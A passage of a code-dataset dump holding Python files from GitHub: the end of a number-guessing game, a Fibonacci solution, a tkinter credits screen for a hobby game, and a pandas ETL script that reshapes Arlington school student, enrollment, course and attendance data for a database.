print(\"Exacly ! Correct Answer: \", your_guess)\n break\n if your_guess != x:\n print(\"You've run out of guesses, you lose !\")\n if input(\"Do you want to continue playing game ? Type 'yes' to continue, type 'no' to endgame: \") == 'yes':\n play_game()\nplay_game()","repo_name":"chickenhihi/Project2_Guess_Number","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21555172058","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nNMax = 91\r\nintro = int(input().rstrip())\r\ntable = [0] * (NMax+1)\r\ntable[1] = 1\r\ntable[2] = 1\r\n\r\ndef fibo(n):\r\n if 2 <= n <= NMax:\r\n if table[n] == 0:\r\n table[n] = fibo(n-1) + fibo(n-2)\r\n return table[n]\r\n # else:\r\n # return fibo(n-1) +fibo(n-2)\r\n else:\r\n return 0\r\nprint(fibo(intro+1))","repo_name":"dearmysolitude/BaekJoon","sub_path":"백준/Bronze/2748. 피보나치 수 2/피보나치 수 2.py","file_name":"피보나치 수 2.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13722790604","text":"import tkinter as tk\r\nfrom PIL import ImageTk, Image\r\n\r\ndef AbrirImagen(archivo, DiferenciaResolucion):\r\n\r\n\t\tImagenReajustada = Image.open(archivo)\t\t# Abrir Imagen\r\n\r\n\t\tAncho, Altura = ImagenReajustada.size\t\t\r\n\t\tAncho = round(Ancho*DiferenciaResolucion)\r\n\t\tAltura = round(Altura*DiferenciaResolucion)\r\n\t\tMedidas = Ancho, Altura\r\n\r\n\t\tImagenReajustada = ImagenReajustada.resize(Medidas, Image.ANTIALIAS) # Ajustar el tamaño de la imagen\r\n\r\n\t\tImagenReajustada = ImageTk.PhotoImage(ImagenReajustada)\r\n\r\n\t\treturn ImagenReajustada\r\n\r\ndef AbrirImagenEX(archivo, DiferenciaResolucion):\r\n\r\n\t\tImagenReajustada = Image.open(archivo)\r\n\r\n\t\tAncho, Altura = ImagenReajustada.size\r\n\t\tAncho = round(Ancho*DiferenciaResolucion)\r\n\t\tAltura = round(Altura*DiferenciaResolucion)\r\n\t\tMedidas = Ancho, Altura\r\n\r\n\t\tImagenReajustada = ImagenReajustada.resize(Medidas, Image.ANTIALIAS)\r\n\r\n\t\tImagenReajustada = ImagenReajustada.convert(\"RGBA\") # Eliminar el fondo negro que aparece en algunas imagenes\r\n\t\tDatas = ImagenReajustada.getdata()\r\n\r\n\t\tnewData = []\r\n\r\n\t\tfor item in Datas:\r\n\t\t\tif item[0] == 255 and item[1] == 255 and item[2] == 255:\r\n\t\t\t\tnewData.append((255, 255, 255, 0))\r\n\t\t\telse:\r\n\t\t\t\tnewData.append(item)\r\n\t\t\t\t\r\n\t\tImagenReajustada.putdata(newData)\r\n\r\n\t\tImagenReajustada = ImageTk.PhotoImage(ImagenReajustada)\r\n\r\n\t\treturn ImagenReajustada\r\n\r\ndef Redondear(Valor, DiferenciaResolucion):\r\n\treturn round(Valor*DiferenciaResolucion)\r\n\r\nclass Creditos():\r\n\r\n\tdef __init__(self, DR, idioma, raiz = None):\r\n\r\n\t\t# Imágenes\r\n\r\n\t\tself.DR = DR\r\n\t\tself.Idioma = idioma\r\n\r\n\t\tself.Google_img = AbrirImagen(\"Imagenes/Google.png\", self.DR)\r\n\t\tself.Youtube_img = AbrirImagen(\"Imagenes/Youtube.png\", self.DR)\r\n\t\tself.Yo_img = AbrirImagen(\"Imagenes/Yo.png\", self.DR)\r\n\t\tself.Vicente_img = AbrirImagen(\"Imagenes/Vicente.png\", self.DR)\r\n\t\tself.Pildoras_img = AbrirImagen(\"Imagenes/PildorasInformaticas.png\", self.DR)\r\n\t\tself.Discord_img = AbrirImagen(\"Imagenes/Discord.png\", self.DR)\r\n\t\tself.Colegio_img = AbrirImagen(\"Imagenes/Colegio.png\", self.DR)\r\n\r\n\t\tif self.Idioma == \"español\":\r\n\t\t\tCreditos_str = \"Créditos\"\r\n\t\t\tProgramador_str = \"Programador:\"\r\n\t\t\tArtista_str = \"Artista gráfico:\"\r\n\t\t\tMusica_str = \"Musica y audio:\"\r\n\t\t\tTester_str = \"Beta Tester:\"\r\n\t\t\tProgramador_info_str = \"Jaime Sepúlveda\"\r\n\t\t\tArtista_info_str = \"70% Yo y 30% Internet\"\r\n\t\t\tMusica_info_str = \"Youtube\"\r\n\t\t\tTester_info_str = \"Vicente Sepúlveda\"\r\n\t\t\tApoyo_str = \"Muchas gracias Martín, Ivan, Jean, Alejandro,\\nNicolás, Alonso, y todos los demás del discord.\"\r\n\t\t\tProfesor_str = \"Gracias profesor Sebastían por hacer este electivo.\"\r\n\t\t\tPildoras_str = \"Muchas gracias Pildoras Informáticas por\\ncrear un curso de Python en español y gratis.\"\r\n\t\t\tVolver_str = \"Volver\"\r\n\t\t\tAnterior_str = \"Anterior\"\r\n\t\t\tSiguiente_str = \"Siguiente\"\r\n\r\n\t\telif self.Idioma == \"english\":\r\n\t\t\tCreditos_str = \"Credits\"\r\n\t\t\tProgramador_str = \"Developer:\"\r\n\t\t\tArtista_str = \"Graphic artist:\"\r\n\t\t\tMusica_str = \"Music and audio:\"\r\n\t\t\tTester_str = \"Beta Tester:\"\r\n\t\t\tProgramador_info_str = \"Jaime Sepúlveda\"\r\n\t\t\tArtista_info_str = \"70% Me and 30% Internet\"\r\n\t\t\tMusica_info_str = \"Youtube\"\r\n\t\t\tTester_info_str = \"Vicente Sepúlveda\"\r\n\t\t\tApoyo_str = \"Thank you very much Martín, Ivan, Jean, Alejandro,\\nNicolás, Alonso, and everyone else from discord.\"\r\n\t\t\tProfesor_str = \"Thanks Teacher Sebastían for teaching this class.\"\r\n\t\t\tPildoras_str = \"Thanks a lot Pildoras Informáticas for\\ncreating a free Python Course in spanish.\"\r\n\t\t\tVolver_str = \"Return\"\r\n\t\t\tAnterior_str = \"Previous\"\r\n\t\t\tSiguiente_str = \"Next\"\r\n\r\n\t\tself.Creditos_Frame = tk.Frame(raiz, width = 2050, height = 420)\r\n\t\tself.Creditos_Frame.pack()\r\n\r\n\t\tself.Botones_Frame = tk.Frame(raiz, width = 2050, height = 420)\r\n\t\tself.Botones_Frame.pack()\r\n\r\n\t\tself.Creditos_label = tk.Label(self.Creditos_Frame, text = Creditos_str, font = (\"Arial\", Redondear(60, self.DR)))\r\n\r\n\t\tself.Creditos_Titulo_Frame = tk.Frame(self.Creditos_Frame)\r\n\t\tself.Programador_Frame = tk.Frame(self.Creditos_Frame, relief = \"ridge\", bd = Redondear(4, self.DR), bg = \"#9FE7FF\")\r\n\t\tself.Artista_Frame = tk.Frame(self.Creditos_Frame, relief = \"ridge\", bd = Redondear(4, self.DR), bg = \"#AFFF9F\")\r\n\t\tself.Musica_Frame = tk.Frame(self.Creditos_Frame, relief = \"ridge\", bd = Redondear(4, self.DR), bg = \"#FFB2B2\")\r\n\t\tself.Tester_Frame = tk.Frame(self.Creditos_Frame, relief = \"ridge\", bd = Redondear(4, self.DR), bg = \"#FFFFB7\")\r\n\t\tself.Apoyo_Frame = tk.Frame(self.Creditos_Frame, relief = \"ridge\", bd = Redondear(4, self.DR), bg = \"#FFFFB7\")\r\n\t\tself.Profesor_Frame = tk.Frame(self.Creditos_Frame, relief = \"ridge\", bd = Redondear(4, self.DR), bg = \"#FFDA9E\")\r\n\t\tself.Pildoras_Frame = tk.Frame(self.Creditos_Frame, relief = \"ridge\", bd = Redondear(4, self.DR), bg = \"#C6FFBB\")\r\n\r\n\t\tself.Creditos_Titulo_Frame.grid(row = 0, column = 0)\r\n\r\n\t\tself.Programador_label = tk.Label(self.Programador_Frame, text = Programador_str, font = (\"Arial\", Redondear(30, self.DR)), bg = \"#9FE7FF\")\r\n\t\tself.Artista_label = tk.Label(self.Artista_Frame, text = Artista_str, font = (\"Arial\", Redondear(30, self.DR)), bg = \"#AFFF9F\")\r\n\t\tself.Musica_label = tk.Label(self.Musica_Frame, text = Musica_str, font = (\"Arial\", Redondear(30, self.DR)), bg = \"#FFB2B2\")\r\n\t\tself.Tester_label = tk.Label(self.Tester_Frame, text = Tester_str, font = (\"Arial\", Redondear(30, self.DR)), bg = \"#FFFFB7\")\r\n\r\n\t\tself.Programador_info_label = tk.Label(self.Programador_Frame, text = Programador_info_str, font = (\"Arial\", Redondear(30, self.DR)), bg = \"#9FE7FF\")\r\n\t\tself.Artista_info_label = tk.Label(self.Artista_Frame, text = Artista_info_str, font = (\"Arial\", Redondear(30, self.DR)), bg = \"#AFFF9F\")\r\n\t\tself.Musica_info_label = tk.Label(self.Musica_Frame, text = Musica_info_str, font = (\"Arial\", Redondear(30, self.DR)), bg = \"#FFB2B2\")\r\n\t\tself.Tester_info_label = tk.Label(self.Tester_Frame, text = Tester_info_str, font = (\"Arial\", Redondear(30, self.DR)), bg = \"#FFFFB7\")\r\n\t\tself.Apoyo_info_label = tk.Label(self.Apoyo_Frame, text = Apoyo_str,\r\n\t\t\tfont = (\"Arial\", Redondear(28, self.DR)), bg = \"#FFFFB7\", anchor = \"center\")\r\n\r\n\t\tself.Profesor_info_label = tk.Label(self.Profesor_Frame, text = Profesor_str, font = (\"Arial\", Redondear(28, self.DR)), bg = \"#FFDA9E\", anchor = \"center\")\r\n\t\tself.Pildoras_info_label = tk.Label(self.Pildoras_Frame, text = Pildoras_str, font = (\"Arial\", Redondear(28, self.DR)), bg = \"#C6FFBB\", anchor = \"center\")\r\n\r\n\t\tself.Volver_button = tk.Button(self.Botones_Frame, text = Volver_str, font = (\"Arial\", Redondear(30, self.DR)), command = lambda:self.Destruir(), bd = Redondear(6, self.DR))\r\n\r\n\t\tself.Anterior_button = tk.Button(self.Botones_Frame, text = Anterior_str, font = (\"Arial\", Redondear(30, self.DR)), command = lambda:self.CambiarPagina(1), bd = Redondear(6, self.DR))\r\n\r\n\t\tself.Siguiente_button = tk.Button(self.Botones_Frame, text = Siguiente_str, font = (\"Arial\", Redondear(30, self.DR)), command = lambda:self.CambiarPagina(2), bd = Redondear(6, self.DR))\r\n\r\n\t\tself.Creditos_label.grid(row = 0, column = 0, pady = (Redondear(10, self.DR),0), columnspan = 2)\r\n\r\n\t\tself.Creditos_Frame.after(0, lambda:self.CambiarPagina(1))\r\n\r\n\tdef CambiarPagina(self, pagina):\r\n\r\n\t\tif pagina == 1:\r\n\r\n\t\t\ttry:\r\n\t\t\t\tself.Apoyo_Frame.grid_forget()\r\n\t\t\t\tself.Profesor_Frame.grid_forget()\r\n\t\t\t\tself.Pildoras_Frame.grid_forget()\r\n\t\t\t\tself.Discord_label.grid_forget()\r\n\t\t\t\tself.Colegio_label.grid_forget()\r\n\t\t\t\tself.Pildoras_img_label.grid_forget()\r\n\t\t\texcept:\r\n\t\t\t\tpass\r\n\r\n\t\t\tself.Anterior_button[\"state\"] = \"disabled\"\r\n\t\t\tself.Siguiente_button[\"state\"] = \"normal\"\r\n\r\n\t\t\tself.Programador_Frame.grid(row = 1, column = 0, pady = Redondear(20, self.DR), sticky = \"ew\")\r\n\t\t\tself.Artista_Frame.grid(row = 2, column = 0, sticky = \"ew\")\r\n\t\t\tself.Musica_Frame.grid(row = 3, column = 0, pady = Redondear(20, self.DR), sticky = \"ew\")\r\n\t\t\tself.Tester_Frame.grid(row = 4, column = 0, sticky = \"ew\")\r\n\r\n\t\t\tself.Volver_button.grid(row = 5, column = 1, pady = Redondear(20, self.DR), padx = Redondear(20, self.DR))\r\n\t\t\tself.Anterior_button.grid(row = 5, column = 0, pady = Redondear(20, self.DR))\r\n\t\t\tself.Siguiente_button.grid(row = 5, column = 2, pady = Redondear(20, self.DR))\r\n\r\n\t\t\tself.Programador_label.grid(row = 0, column = 0, pady = Redondear(20, self.DR), padx = Redondear(20, self.DR))\r\n\t\t\tself.Artista_label.grid(row = 0, column = 0, pady = Redondear(20, self.DR), padx = Redondear(20, self.DR))\r\n\t\t\tself.Musica_label.grid(row = 0, column = 0, pady = Redondear(20, self.DR), padx = Redondear(20, self.DR))\r\n\t\t\tself.Tester_label.grid(row = 0, column = 0, pady = Redondear(20, self.DR), padx = Redondear(20, self.DR))\r\n\r\n\t\t\tself.Programador_info_label.grid(row = 0, column = 1, padx = Redondear(20, self.DR))\r\n\t\t\tself.Artista_info_label.grid(row = 0, column = 1, pady = Redondear(10, self.DR), padx = Redondear(20, self.DR))\r\n\t\t\tself.Musica_info_label.grid(row = 0, column = 1, padx = Redondear(20, self.DR))\r\n\t\t\tself.Tester_info_label.grid(row = 0, column = 1, pady = Redondear(10, self.DR), padx = (Redondear(50, self.DR),0))\r\n\r\n\t\t\tself.Yo_label = tk.Label(self.Creditos_Frame, image = self.Yo_img)\r\n\t\t\tself.Yo_label.grid(row = 1, column = 1, padx = (Redondear(20, self.DR),0))\r\n\r\n\t\t\tself.Google_label = tk.Label(self.Creditos_Frame, image = self.Google_img)\r\n\t\t\tself.Google_label.grid(row = 2, column = 1, padx = (Redondear(20, self.DR),0))\r\n\r\n\t\t\tself.Youtube_label = tk.Label(self.Creditos_Frame, image = self.Youtube_img)\r\n\t\t\tself.Youtube_label.grid(row = 3, column = 1, padx = (Redondear(20, self.DR),0))\r\n\r\n\t\t\tself.Vicente_label = tk.Label(self.Creditos_Frame, image = self.Vicente_img)\r\n\t\t\tself.Vicente_label.grid(row = 4, column = 1, padx = (Redondear(20, self.DR),0))\r\n\r\n\t\telse:\r\n\r\n\t\t\tself.Programador_Frame.grid_forget()\r\n\t\t\tself.Artista_Frame.grid_forget()\r\n\t\t\tself.Musica_Frame.grid_forget()\r\n\t\t\tself.Tester_Frame.grid_forget()\r\n\r\n\t\t\tself.Yo_label.grid_forget()\r\n\t\t\tself.Google_label.grid_forget()\r\n\t\t\tself.Youtube_label.grid_forget()\r\n\t\t\tself.Vicente_label.grid_forget()\r\n\r\n\t\t\tself.Anterior_button[\"state\"] = \"normal\"\r\n\t\t\tself.Siguiente_button[\"state\"] = \"disabled\"\r\n\r\n\t\t\tself.Apoyo_Frame.grid(row = 1, column = 0, pady = Redondear(20, self.DR), sticky = \"ew\")\r\n\t\t\tself.Apoyo_info_label.pack(pady = Redondear(20, self.DR), padx = Redondear(20, self.DR))\r\n\r\n\t\t\tself.Profesor_Frame.grid(row = 2, column = 0, pady = 0, sticky = \"ew\")\r\n\t\t\tself.Profesor_info_label.pack(pady = Redondear(20, self.DR), padx = Redondear(20, self.DR))\r\n\r\n\t\t\tself.Pildoras_Frame.grid(row = 3, column = 0, pady = Redondear(20, self.DR), sticky = \"ew\")\r\n\t\t\tself.Pildoras_info_label.pack(pady = (Redondear(20, self.DR),Redondear(17, self.DR)), padx = Redondear(20, self.DR))\r\n\r\n\t\t\tself.Discord_label = tk.Label(self.Creditos_Frame, image = self.Discord_img)\r\n\t\t\tself.Discord_label.grid(row = 1, column = 1, padx = (Redondear(20, self.DR),0))\r\n\r\n\t\t\tself.Colegio_label = tk.Label(self.Creditos_Frame, image = self.Colegio_img)\r\n\t\t\tself.Colegio_label.grid(row = 2, column = 1, padx = (Redondear(20, self.DR),0))\r\n\r\n\t\t\tself.Pildoras_img_label = tk.Label(self.Creditos_Frame, image = self.Pildoras_img)\r\n\t\t\tself.Pildoras_img_label.grid(row = 3, column = 1, padx = (0,0))\r\n\r\n\tdef Destruir(self):\r\n\t\tself.Botones_Frame.destroy()\r\n\t\tself.Creditos_Frame.destroy()","repo_name":"Jaimewol12/Asalto_Blindado","sub_path":"Modulos/Creditos.py","file_name":"Creditos.py","file_ext":"py","file_size_in_byte":11177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72533466614","text":"#import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport numpy as np\nimport logging\nimport sys\nimport math\nimport enum\nfrom enum import Enum\nimport time\n\n\n#helper functions below\n#===================================\ndef tf_translate(val):\n if val == 'Y':\n translated = True\n elif val == 'N':\n translated = False\n else:\n translated = val\n return translated\n\ndef assign_tf_val(col):\n col_vals = col.values\n new_ar = [tf_translate(val) for val in col_vals]\n return new_ar\n\ndef first_char(col):\n col_vals = col.values\n return np.array([val[0][0] for val in col_vals])\n\ndef convert_ac_year(df, return_df = False):\n '''converts to spring year'''\n col_vals = df['academic_year'].values\n new_ar = [int(val.split('-')[1]) for val in col_vals]\n if return_df:\n df['academic_year'] = new_ar\n return df\n else:\n return new_ar\n \ndef attendance_function(df):\n \n df = convert_ac_year(df, return_df = True)\n df.academic_year = df.academic_year.astype(int)\n \n df['d'] = df['academic_year']-1\n df.d = df.d.astype('str')\n df['period_start'] = '9/1/'+ df.d\n #df.drop(['d'], axis = 1, inplace= True)\n\n df['d'] = df['academic_year']\n df.d = df.d.astype('str')\n df['period_end'] = '6/30/'+ df.d\n df.drop(['d'], axis = 1, inplace= True)\n\n df['possible'] = 180\n\n return df\n\ndef clean_date(date):\n d = date.split('/')\n yr = d[-1]\n yr = '20'+yr\n \n return d[0]+'/'+d[1]+'/'+yr\n\ndef clean_grade(df_detail, st_id, ac_year):\n gl = df_detail.grade_level.values\n condition = (df_detail.student_id.values == st_id) & (df_detail.academic_year == ac_year)\n condition = condition.values\n grade = gl[condition]\n if len(grade)>0:\n grade = grade.astype(int)[0]\n else:\n grade = -1\n return grade\n\ndef clean_advance_retain(df_detail, st_id, ac_year):\n gl = df_detail.grade_level.values\n ac_year = ac_year.astype(int)\n \n \n condition1 = (df_detail.student_id.values == st_id) & (df_detail.academic_year == ac_year)\n condition2 = (df_detail.student_id.values == st_id) & (df_detail.academic_year == ac_year+1)\n \n\n condition1 = condition1.values\n condition2 = condition2.values\n\n grade_lower = gl[condition1]\n grade_higher = gl[condition2]\n \n if len(grade_lower)>=1 and len(grade_higher)>=1:\n grade_lower = grade_lower.astype(int)[0]\n grade_higher = grade_higher.astype(int)[0]\n if grade_lower+1 == grade_higher:\n status = 'advance'\n elif grade_lower == grade_higher:\n status = 'retain'\n else:\n status = 'other'\n else:\n status = 'other'\n \n return status\n\ndef clean_exit(df_detail, st_id, ac_year):\n #change code of second entry when there is an exit\n condition1 = (df_detail.student_id.values == st_id) & (df_detail.academic_year == ac_year) & (df_detail.code == 'other')\n \n if len(df_detail[condition1])>0:\n return df_detail[condition1].index.values[0]\n else:\n return -1\n \n\n#data into correct format for database\n#===================================\n\n## Student schema\ndef clean_detail_for_student_schema(data_files, cleaned):\n \"\"\"Modified from function for VPS for Arlington data.\"\"\"\n \"\"\"I want to build the student data here. I think all of the information I need for this table is in the detail csv\"\"\"\n\n column_names = {\n 'STUDENT_ID': 'student_id',\n 'FIRST_TIME_9TH_GRADER_COHORT': 'cohort', #this seems to be the year that they finished 9th grade\n 'BIRTH_DT': 'date_of_birth',\n 'GENDER_DESC': 'gender',\n 'ALT_RACE_DESC': 'race_ethnicity',\n 'SPED': 'sped_any'\n\n }\n\n logging.info(\"ETL: Starting Arlington data cleaning for student schema...\")\n\n \n for raw_base in data_files:\n\n df = pd.read_csv(raw_base, sep=',', header=0, dtype=object)\n logging.info(\"ETL: Cleaning base data file raw_base %s\"%raw_base)\n df.rename(columns=column_names, inplace=True)\n df = df.drop(['ETl_school_year', \n 'SCHOOL_ID', \n 'SCHOOL_LONG_NAME' ,\n 'GRADE_LEVEL_CD' , \n 'FRL' ,'LEP' ,\n 'Total_Absence' ,\n 'Total_Tardies', \n 'OSS_SUSP_NUMBERS', \n 'graduate_ind' ,\n 'diploma_completer_ind', \n 'First_Entry_Code', \n 'First_Entry_Code_Desc', 'Diploma_Type'], axis=1)\n \n #This gives multiple entries per student. It would be a good idea to \n #not replicate, so I'll first check to make sure it's consistent and then drop rows.\n df.fillna(-3, inplace = True)\n df.drop_duplicates(['student_id', \n 'cohort', \n 'race_ethnicity', \n 'gender', \n 'sped_any'\n ], inplace = True)\n\n df.student_id = df.student_id.astype(int)\n \n df.cohort = df.cohort.astype(int) + 3 # convert to graduating cohort\n \n \n stID_counts = df['student_id'].value_counts()\n duplicate_stIDs = stID_counts[stID_counts>1].index.values\n \n sped = assign_tf_val(df.sped_any)\n df.sped_any = sped\n\n \n for j in range(len(duplicate_stIDs)):\n duplicate_stID = duplicate_stIDs[j]\n \n vv = df[df['student_id']==duplicate_stID]['sped_any'].values \n if vv[0] or vv[1]:\n df.loc[df.student_id == duplicate_stIDs[j], 'sped_any'] = True\n \n df.drop_duplicates(['student_id', \n 'cohort', \n 'race_ethnicity', \n 'gender', \n 'sped_any'\n ], inplace = True)\n \n race = first_char(df.race_ethnicity)\n df.race_ethnicity = race\n df.race_ethnicity = df.race_ethnicity.astype(Enum)\n df.loc[df.race_ethnicity == 'O', 'race_ethnicity'] = 'X'\n gen = first_char(df.gender)\n df.gender = gen\n df.gender = df.gender.astype(Enum)\n\n df.to_csv(cleaned, header=True, index=False, date_format='%Y%m%d')\n \n#Enrollment scehma\ndef clean_detail_for_enrollment_schema(data_files, cleaned):\n column_names = {\n 'STUDENT_ID': 'student_id',\n 'FIRST_TIME_9TH_GRADER_COHORT': 'cohort', #this seems to be the year that they finished 9th grade\n 'GENDER_DESC': 'gender',\n 'ALT_RACE_DESC': 'race_ethnicity',\n 'SPED': 'special_ed',\n 'ETl_school_year': 'academic_year',\n 'GRADE_LEVEL_CD' : 'grade_level',\n 'LEP': 'ell', #limited english proficiency -> English language learner\n \n\n }\n\n logging.info(\"ETL: Starting Arlington cleaning for enrollment schema\")\n \n base_dfs = []\n for raw_base in data_files:\n\n df = pd.read_csv(raw_base, sep=',', header=0, dtype=object)\n logging.info(\"ETL: Cleaning base data file raw_base %s\"%raw_base)\n df.rename(columns=column_names, inplace=True)\n\n #TT, 77, and GD seem to indicate that someone has gone on after 12th grade without graduating\n #I'm going to enter all as 77 since it's an int\n df.grade_level[df.grade_level == 'TT'] = '77'\n df.grade_level[df.grade_level == 'GD'] = '77'\n \n df = df.drop(['SCHOOL_ID', \n 'SCHOOL_LONG_NAME' ,\n 'FRL' , #I'm not sure what this is\n 'Total_Absence' ,\n 'Total_Tardies', \n 'OSS_SUSP_NUMBERS', \n 'graduate_ind' ,\n 'diploma_completer_ind', \n 'First_Entry_Code', \n 'First_Entry_Code_Desc', \n 'Diploma_Type', \n 'race_ethnicity',\n 'cohort',\n 'gender'\n \n ], axis=1)\n \n #academic year should be an int. We go with the spring year\n years = convert_ac_year(df)\n df['academic_year'] = years\n \n #convert data types for columns we have\n df.student_id = df.student_id.astype(int)\n df.grade_level= df.grade_level.astype(int)\n df.academic_year = df.academic_year.astype(int)\n ell = assign_tf_val(df.ell)\n df.ell = ell\n \n sped = assign_tf_val(df.special_ed)\n df.special_ed = sped\n \n \n df.d = df.academic_year -1\n df.d = df.d.astype('str')\n df['date'] = '9/1/'+ df.d\n \n pd.to_datetime(df.date, format='%m/%d/%Y', errors='coerce')\n \n df.to_csv(cleaned, header=True, index=False, date_format='%Y%m%d')\n\n#Course, course enrollment, and school schema \ndef clean_for_course_schema(course_data, detail_dat, cleaned):\n #I think I have to infer this from the marks data\n #I should get the student ID and academic year\n\n column_names = {\n 'COURSE_CD':'code',\n 'COURSE_LONG_DESC':'name',\n 'SCHOOL_SHT_NAME':'school_name',\n 'STUDENT_ID': 'student_id',\n 'FIRST_TIME_9TH_GRADER_COHORT': 'cohort', #this seems to be the year that they finished 9th grade\n 'BIRTH_DT': 'date_of_birth',\n 'GENDER_DESC': 'gender',\n 'ALT_RACE_DESC': 'race_ethnicity',\n 'SPED': 'sped_any',\n 'ETl_school_year':'academic_year',\n 'ETL_SCHOOL_YEAR':'academic_year',\n 'SCHOOL_ID':'school_id',\n 'SCHOOL_LONG_NAME': 'school_name',\n 'SCHOOL_SHT_NAME':'school_name',\n 'COURSE_CD':'code',\n 'COURSE_LONG_DESC' : 'desc',\n 'Mark': 'mark',\n\n #need school ID. will have to write something to look this up --> Can get from detail dat\n\n }\n\n\n #first create map for school name\n for raw_base in detail_dat:\n\n df_detail = pd.read_csv(raw_base, sep=',', header=0, dtype=object)\n \n \n df_detail.rename(columns=column_names, inplace=True)\n df_detail = df_detail.drop([\n #'GRADE_LEVEL_CD',\n 'gender',\n 'cohort',\n 'race_ethnicity',\n 'FRL',\n 'LEP',\n 'sped_any',\n 'Total_Absence',\n 'Total_Tardies',\n 'OSS_SUSP_NUMBERS',\n 'graduate_ind',\n 'diploma_completer_ind',\n 'First_Entry_Code',\n 'First_Entry_Code_Desc',\n 'Diploma_Type',\n \n ], axis=1)\n \n #I'm going to make the school table.\n #There isn't enough data to get the years for each school from the data. \n #extra research needed\n \n \n df_school = df_detail.drop_duplicates([\n 'school_name'\n ], inplace = False)\n df_school = df_school.drop(['student_id',\n 'academic_year',\n 'GRADE_LEVEL_CD'],\n axis = 1\n )\n \n column_names_school = {\n 'school_name':'name'\n }\n df_school.rename(columns=column_names_school, inplace=True)\n\n df_school_unknown = pd.DataFrame([[-1, 'unknown_1'], [-2, 'ND'], [-3,'APT']], columns =['school_id', 'name'])\n df_school = df_school.append(df_school_unknown)\n \n df_school.to_csv(cleaned[2], header=True, index=False, date_format='%Y%m%d')\n \n #this was mapped manually\n #we don't have course data for most of the schools. \n #I'm going to map the numbers in this table and then map the names to the names from the other table\n school_to_id = {'H-B Woodlawn':'39',\n 'CC':'70',\n 'Williamsburg':'45',\n 'Washington Lee':'44',\n 'Yorktown':'49',\n 'Wakefield':'43',\n 'Arlington Mill':'26',\n 'Jefferson':'23',\n 'Swanson':'40',\n 'Langston':'25',\n 'Kenmore':'24',\n 'Gunston':'15',\n 'TJHSST':'96',\n 'NaN':'-1',\n 'ND':'-2',\n 'APT':'-3'}\n \n for raw_base in course_data:\n\n df = pd.read_csv(raw_base, sep=',', header=0, dtype=object)\n df.rename(columns=column_names, inplace=True)\n df.student_id = df.student_id.astype(int)\n \n logging.info(\"ETL: Cleaning base data file raw_base %s\"%raw_base)\n logging.info(\"Cleaning data for course schema...\")\n df.rename(columns=column_names, inplace=True)\n\n \n column_names = {'desc':'name', 'code':'course_code'}\n\n df['school_id'] = df['school_name'].map(school_to_id)\n #no foreign key constraint on school_id so just leave it in there for now.\n df.school_id.fillna(-1, inplace = True)\n \n\n df.rename(columns=column_names, inplace=True)\n years = convert_ac_year(df)\n \n years = np.array(years)\n df['d'] = years\n df.d = df.d.astype(int)\n \n #there is no info about dates besides academic year, so i'll just assume all course data is available on the last day of\n #the academic year.\n df.d = years\n df['academic_year'] = df.d.astype(int)\n df.d = df.d.astype('str')\n df['date'] = '6/30/'+ df.d\n df.drop(['d'], axis = 1, inplace= True)\n df_course_enrollment = df.drop(['name', 'school_name'], axis = 1)\n\n df_course_enrollment.drop_duplicates(['student_id',\n 'academic_year',\n 'course_code',\n 'mark'], inplace = True)\n\n #Sometimes people will withdraw and re-enter the same year.\n #I will make the 'date' for the W the fall semester.\n withdrawn = df_course_enrollment[df_course_enrollment['mark']=='W']\n\n #below should be rewritten \n start_time = time.time()\n for jk in range(len(withdrawn)):\n vv = withdrawn.iloc[jk]\n st_id = vv.student_id\n c_id = vv.course_code\n yr = vv.academic_year\n b = (df_course_enrollment['student_id'].values == st_id) & (df_course_enrollment['course_code'].values == c_id)\n\n vals = df_course_enrollment[b]\n if len(vals)>1:\n vals2 = vals[vals['mark']!='W']\n vw = vals[vals['mark']=='W']\n if yr in vals.academic_year.values:\n indw = vw.index.values[0]\n ind = vals[vals['academic_year']==yr].index.values[0]\n new_year = df_course_enrollment.academic_year.loc[ind]-1\n df_course_enrollment.date.loc[indw] = '12/31/'+ new_year.astype('str')\n \n end_time = time.time()\n \n #it looks like some people take the same course more than once in a year without withdrawing.\n #for now I'm going to drop this info\n \n df_course_enrollment.drop_duplicates(['student_id',\n 'academic_year',\n 'course_code',\n 'date'], inplace = True)\n\n df_course_enrollment.to_csv(cleaned[1], header=True, index=False, date_format='%Y%m%d')\n \n #now I will reduce this course enrollment data into course data\n df_course_enrollment = df_course_enrollment.drop(['student_id', \n 'academic_year', \n 'mark' ,\n 'date'], axis=1)\n \n df_course_enrollment.drop_duplicates(['school_id',\n 'course_code'], inplace=True)\n #column_names = {'code':'course_code'}\n #df_course_enrollment.rename(columns=column_names, inplace=True)\n df_course_enrollment['code'] = df_course_enrollment['course_code']\n df_course_enrollment.drop(['course_code'],axis = 1, inplace=True)\n \n df_course_enrollment.to_csv(cleaned[0], header=True, index=False, date_format='%Y%m%d')\n \ndef clean_for_attendance(detail_dat, cleaned):\n #for possible I will just be using 180 for each academic year\n #need: student_id, school_id, period_start, and period_end\n column_names = {\n 'COURSE_CD':'code',\n 'COURSE_LONG_DESC':'name',\n 'SCHOOL_SHT_NAME':'school_name',\n 'STUDENT_ID': 'student_id',\n 'FIRST_TIME_9TH_GRADER_COHORT': 'cohort', #this seems to be the year that they finished 9th grade\n 'BIRTH_DT': 'date_of_birth',\n 'GENDER_DESC': 'gender',\n 'ALT_RACE_DESC': 'race_ethnicity',\n 'SPED': 'sped_any',\n 'ETl_school_year':'academic_year',\n 'ETL_SCHOOL_YEAR':'academic_year',\n 'SCHOOL_ID':'school_id',\n 'SCHOOL_LONG_NAME': 'school_name',\n 'SCHOOL_SHT_NAME':'school_name',\n 'COURSE_CD':'code',\n 'COURSE_LONG_DESC' : 'desc',\n 'Mark': 'mark',\n 'Total_Tardies':'tardy',\n 'Total_Absence':'absence_excused'\n\n #need school ID. will have to write something to look this up --> Can get from detail dat\n\n }\n\n \n\n #first create map for school name\n for raw_base in detail_dat:\n \n\n df = pd.read_csv(raw_base, sep=',', header=0, dtype=object)\n\n df.rename(columns=column_names, inplace=True)\n df = df.drop([\n 'GRADE_LEVEL_CD',\n 'gender',\n 'cohort',\n 'race_ethnicity',\n 'FRL',\n 'LEP',\n 'sped_any',\n 